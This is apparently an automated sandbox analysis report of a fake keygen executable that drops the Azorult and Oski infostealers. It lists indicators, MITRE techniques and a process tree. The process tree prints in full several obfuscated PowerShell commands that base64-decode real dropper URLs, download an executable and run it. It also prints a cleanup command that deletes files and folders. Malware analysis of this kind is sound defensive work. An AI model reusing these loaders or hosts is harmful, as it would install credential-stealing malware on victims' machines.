azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
22s
max time network
154s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (22).exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 2560 powershell.exe
10 904 powershell.exe
13 2560 powershell.exe
15 904 powershell.exe
16 4464 powershell.exe
25 4464 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	2560	powershell.exe
10	904	powershell.exe
13	2560	powershell.exe
15	904	powershell.exe
16	4464	powershell.exe
25	4464	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exexml.exetjp.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exexml.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevlt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevlt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
908	Keygen.exe
4976	xml.exe
4988	tjp.exe
4120	FVjhgtresfdbv.exe
4172	NHtrdsaghfDF.exe
3556	xml.exe
4312	FVjhgtresfdbv.exe
4396	NHtrdsaghfDF.exe
4632	vlt.exe
2652	FVjhgtresfdbv.exe
2140	NHtrdsaghfDF.exe
1976	vlt.exe
4284	FVjhgtresfdbv.exe
4364	NHtrdsaghfDF.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4312 FVjhgtresfdbv.exe
4312 FVjhgtresfdbv.exe
4312 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4312	FVjhgtresfdbv.exe
4312	FVjhgtresfdbv.exe
4312	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

xml.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevlt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4976 set thread context of 3556	4976	xml.exe	xml.exe
PID 4120 set thread context of 4312	4120	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4172 set thread context of 4396	4172	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4632 set thread context of 1976	4632	vlt.exe	vlt.exe
PID 2652 set thread context of 4284	2652	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2140 set thread context of 4364	2140	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1604 timeout.exe
2264 timeout.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
1604	timeout.exe
2264	timeout.exe

Modifies registry class 2 IoCs

Processes:

cmd.exetjp.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	tjp.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2480	powershell.exe
2560	powershell.exe
904	powershell.exe
1492	powershell.exe
2480	powershell.exe
2560	powershell.exe
904	powershell.exe
1492	powershell.exe
2480	powershell.exe
2560	powershell.exe
904	powershell.exe
1492	powershell.exe
1492	powershell.exe
4464	powershell.exe
4464	powershell.exe
4644	powershell.exe
4644	powershell.exe
4464	powershell.exe
4644	powershell.exe
4464	powershell.exe
4644	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

xml.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevlt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4976 xml.exe
4120 FVjhgtresfdbv.exe
4172 NHtrdsaghfDF.exe
4632 vlt.exe
2652 FVjhgtresfdbv.exe
2140 NHtrdsaghfDF.exe

pid	process
4976	xml.exe
4120	FVjhgtresfdbv.exe
4172	NHtrdsaghfDF.exe
4632	vlt.exe
2652	FVjhgtresfdbv.exe
2140	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetjp.exe

description	pid	process
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	4988	tjp.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exexml.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevlt.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

908 Keygen.exe
4976 xml.exe
4120 FVjhgtresfdbv.exe
4172 NHtrdsaghfDF.exe
4632 vlt.exe
2652 FVjhgtresfdbv.exe
2140 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (22).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exexml.exe

description	pid	process	target process
PID 2288 wrote to memory of 3932	2288	Keygen — копия (22).exe	cmd.exe
PID 2288 wrote to memory of 3932	2288	Keygen — копия (22).exe	cmd.exe
PID 2288 wrote to memory of 3932	2288	Keygen — копия (22).exe	cmd.exe
PID 3932 wrote to memory of 908	3932	cmd.exe	Keygen.exe
PID 3932 wrote to memory of 908	3932	cmd.exe	Keygen.exe
PID 3932 wrote to memory of 908	3932	cmd.exe	Keygen.exe
PID 3932 wrote to memory of 1244	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 1244	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 1244	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 1496	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 1496	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 1496	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 1604	3932	cmd.exe	timeout.exe
PID 3932 wrote to memory of 1604	3932	cmd.exe	timeout.exe
PID 3932 wrote to memory of 1604	3932	cmd.exe	timeout.exe
PID 1244 wrote to memory of 2560	1244	mshta.exe	powershell.exe
PID 1244 wrote to memory of 2560	1244	mshta.exe	powershell.exe
PID 1244 wrote to memory of 2560	1244	mshta.exe	powershell.exe
PID 1496 wrote to memory of 2480	1496	mshta.exe	powershell.exe
PID 1496 wrote to memory of 2480	1496	mshta.exe	powershell.exe
PID 1496 wrote to memory of 2480	1496	mshta.exe	powershell.exe
PID 3932 wrote to memory of 3544	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 3544	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 3544	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 2420	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 2420	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 2420	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 2264	3932	cmd.exe	timeout.exe
PID 3932 wrote to memory of 2264	3932	cmd.exe	timeout.exe
PID 3932 wrote to memory of 2264	3932	cmd.exe	timeout.exe
PID 3544 wrote to memory of 904	3544	mshta.exe	powershell.exe
PID 3544 wrote to memory of 904	3544	mshta.exe	powershell.exe
PID 3544 wrote to memory of 904	3544	mshta.exe	powershell.exe
PID 2420 wrote to memory of 1492	2420	mshta.exe	powershell.exe
PID 2420 wrote to memory of 1492	2420	mshta.exe	powershell.exe
PID 2420 wrote to memory of 1492	2420	mshta.exe	powershell.exe
PID 3932 wrote to memory of 4388	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 4388	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 4388	3932	cmd.exe	mshta.exe
PID 4388 wrote to memory of 4464	4388	mshta.exe	powershell.exe
PID 4388 wrote to memory of 4464	4388	mshta.exe	powershell.exe
PID 4388 wrote to memory of 4464	4388	mshta.exe	powershell.exe
PID 3932 wrote to memory of 4556	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 4556	3932	cmd.exe	mshta.exe
PID 3932 wrote to memory of 4556	3932	cmd.exe	mshta.exe
PID 4556 wrote to memory of 4644	4556	mshta.exe	powershell.exe
PID 4556 wrote to memory of 4644	4556	mshta.exe	powershell.exe
PID 4556 wrote to memory of 4644	4556	mshta.exe	powershell.exe
PID 2560 wrote to memory of 4976	2560	powershell.exe	xml.exe
PID 2560 wrote to memory of 4976	2560	powershell.exe	xml.exe
PID 2560 wrote to memory of 4976	2560	powershell.exe	xml.exe
PID 904 wrote to memory of 4988	904	powershell.exe	tjp.exe
PID 904 wrote to memory of 4988	904	powershell.exe	tjp.exe
PID 904 wrote to memory of 4988	904	powershell.exe	tjp.exe
PID 4976 wrote to memory of 4120	4976	xml.exe	FVjhgtresfdbv.exe
PID 4976 wrote to memory of 4120	4976	xml.exe	FVjhgtresfdbv.exe
PID 4976 wrote to memory of 4120	4976	xml.exe	FVjhgtresfdbv.exe
PID 4976 wrote to memory of 4172	4976	xml.exe	NHtrdsaghfDF.exe
PID 4976 wrote to memory of 4172	4976	xml.exe	NHtrdsaghfDF.exe
PID 4976 wrote to memory of 4172	4976	xml.exe	NHtrdsaghfDF.exe
PID 4976 wrote to memory of 3556	4976	xml.exe	xml.exe
PID 4976 wrote to memory of 3556	4976	xml.exe	xml.exe
PID 4976 wrote to memory of 3556	4976	xml.exe	xml.exe
PID 4976 wrote to memory of 3556	4976	xml.exe	xml.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (22).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (22).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8FE.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (22).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3932

C:\Users\Admin\AppData\Local\Temp\8FE.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8FE.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2560

C:\Users\Public\xml.exe
"C:\Users\Public\xml.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4976

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4120

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4312

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4312 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\308709406535699\\* & exit
8⤵
PID:1700

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4172

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4396

C:\Users\Public\xml.exe
"C:\Users\Public\xml.exe"
6⤵
- Executes dropped EXE
PID:3556

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8FE.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2480

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1604

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8FE.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:904

C:\Users\Public\tjp.exe
"C:\Users\Public\tjp.exe"
5⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4988

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:1180

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8FE.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2264

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8FE.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464

C:\Users\Public\vlt.exe
"C:\Users\Public\vlt.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4632

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2652

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:4284

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2140

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4364

C:\Users\Public\vlt.exe
"C:\Users\Public\vlt.exe"
6⤵
- Executes dropped EXE
PID:1976

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8FE.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4556

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
